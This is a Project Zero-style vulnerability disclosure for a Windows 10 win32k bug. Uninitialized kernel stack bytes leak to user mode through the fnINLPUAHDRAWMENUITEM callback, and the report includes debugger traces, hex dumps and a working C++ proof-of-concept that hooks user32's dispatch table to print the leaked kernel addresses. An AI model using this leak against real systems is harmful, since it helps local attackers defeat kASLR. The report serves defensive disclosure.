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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1192
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k!NtUserPaintMenuBar system call, or more specifically, through the user32!fnINLPUAHDRAWMENUITEM user-mode callback (#107 on Windows 10 1607 32-bit).
In our tests, the callback is invoked under the following stack trace:
--- cut ---
a75e6a8c 81b63813 nt!memcpy
a75e6aec 9b1bb7bc nt!KeUserModeCallback+0x163
a75e6c10 9b14ff79 win32kfull!SfnINLPUAHDRAWMENUITEM+0x178
a75e6c68 9b1501a3 win32kfull!xxxSendMessageToClient+0xa9
a75e6d20 9b15361c win32kfull!xxxSendTransformableMessageTimeout+0x133
a75e6d44 9b114420 win32kfull!xxxSendMessage+0x20
a75e6dec 9b113adc win32kfull!xxxSendMenuDrawItemMessage+0x102
a75e6e48 9b1138f4 win32kfull!xxxDrawMenuItem+0xee
a75e6ecc 9b110955 win32kfull!xxxMenuDraw+0x184
a75e6f08 9b11084e win32kfull!xxxPaintMenuBar+0xe1
a75e6f34 819a8987 win32kfull!NtUserPaintMenuBar+0x7e
a75e6f34 77d74d50 nt!KiSystemServicePostCall
00f3f08c 7489666a ntdll!KiFastSystemCallRet
00f3f090 733ea6a8 win32u!NtUserPaintMenuBar+0xa
00f3f194 733e7cef uxtheme!CThemeWnd::NcPaint+0x1fc
00f3f1b8 733ef3c0 uxtheme!OnDwpNcActivate+0x3f
00f3f22c 733ede88 uxtheme!_ThemeDefWindowProc+0x800
00f3f240 75d8c2aa uxtheme!ThemeDefWindowProcW+0x18
00f3f298 75d8be4a USER32!DefWindowProcW+0x14a
00f3f2b4 75db53cf USER32!DefWindowProcWorker+0x2a
00f3f2d8 75db8233 USER32!ButtonWndProcW+0x2f
00f3f304 75d8e638 USER32!_InternalCallWinProc+0x2b
00f3f3dc 75d8e3a5 USER32!UserCallWinProcCheckWow+0x218
00f3f438 75da5d6f USER32!DispatchClientMessage+0xb5
00f3f468 77d74c86 USER32!__fnDWORD+0x3f
00f3f498 74894c3a ntdll!KiUserCallbackDispatcher+0x36
00f3f49c 75d9c1a7 win32u!NtUserCreateWindowEx+0xa
00f3f774 75d9ba68 USER32!VerNtUserCreateWindowEx+0x231
00f3f84c 75d9b908 USER32!CreateWindowInternal+0x157
00f3f88c 000d15b7 USER32!CreateWindowExW+0x38
--- cut ---
The layout of the i/o structure passed down to the user-mode callback that we're seeing is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 20 bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes originally come from a smaller structure of size 0x74, allocated in the stack frame of the win32kfull!xxxSendMenuDrawItemMessage function.
We can easily demonstrate the vulnerability with a kernel debugger (WinDbg), by setting a breakpoint at win32kfull!xxxSendMenuDrawItemMessage, filling the local structure with a marker 0x41 ('A') byte after stepping through the function prologue, and then observing that these bytes indeed survived any kind of initialization and are printed out by the attached proof-of-concept program:
--- cut ---
3: kd> ba e 1 win32kfull!xxxSendMenuDrawItemMessage
3: kd> g
Breakpoint 0 hit
win32kfull!xxxSendMenuDrawItemMessage:
9b11431e 8bff mov edi,edi
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x2:
9b114320 55 push ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x3:
9b114321 8bec mov ebp,esp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x5:
9b114323 81ec8c000000 sub esp,8Ch
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0xb:
9b114329 a1e0dd389b mov eax,dword ptr [win32kfull!__security_cookie (9b38dde0)]
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x10:
9b11432e 33c5 xor eax,ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x12:
9b114330 8945fc mov dword ptr [ebp-4],eax
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x15:
9b114333 833d0ca6389b00 cmp dword ptr [win32kfull!gihmodUserApiHook (9b38a60c)],0
1: kd> f ebp-78 ebp-78+74-1 41
Filled 0x74 bytes
1: kd> g
--- cut ---
Then, the relevant part of the PoC output should be similar to the following:
--- cut ---
00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a...............
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a...
00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified, uninitialized form. If we don't manually insert markers into the kernel stack, an example output of the PoC can be as follows:
--- cut ---
00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G...........
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2...........
00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G...............
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............(...
00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^..
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
Starting at offset 0x6C, we can observe leaked contents of a kernel _EH3_EXCEPTION_REGISTRATION structure:
.Next = 0x81abd328
.ExceptionHandler = 0x9b20aa80
.ScopeTable = 0xaffb2633
.TryLevel = 0xfffffffe
This immediately discloses the address of the kernel-mode stack and the win32k image in memory -- information that is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, or disclose other sensitive data stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
namespace globals {
LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID);
} // namespace globals;
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
PVOID *GetUser32DispatchTable() {
__asm{
mov eax, fs:30h
mov eax, [eax + 0x2c]
}
}
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
PVOID *DispatchTable = GetUser32DispatchTable();
DWORD OldProtect;
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
printf("VirtualProtect#1 failed, %d\n", GetLastError());
return FALSE;
}
*lpOrigHandler = DispatchTable[Index];
DispatchTable[Index] = lpNewHandler;
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
printf("VirtualProtect#2 failed, %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) {
printf("----------\n");
PrintHex((PBYTE)Data, 0x88);
return globals::Orig_fnINLPUAHDRAWMENUITEM(Data);
}
int main() {
// Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function.
// The #107 index is specific to Windows 10 1607 32-bit.
if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) {
return 1;
}
// Create a menu.
HMENU hmenu = CreateMenu();
AppendMenu(hmenu, MF_STRING, 1337, L"Menu item");
// Create a window with the menu in order to trigger the vulnerability.
HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0);
DestroyWindow(hwnd);
return 0;
}
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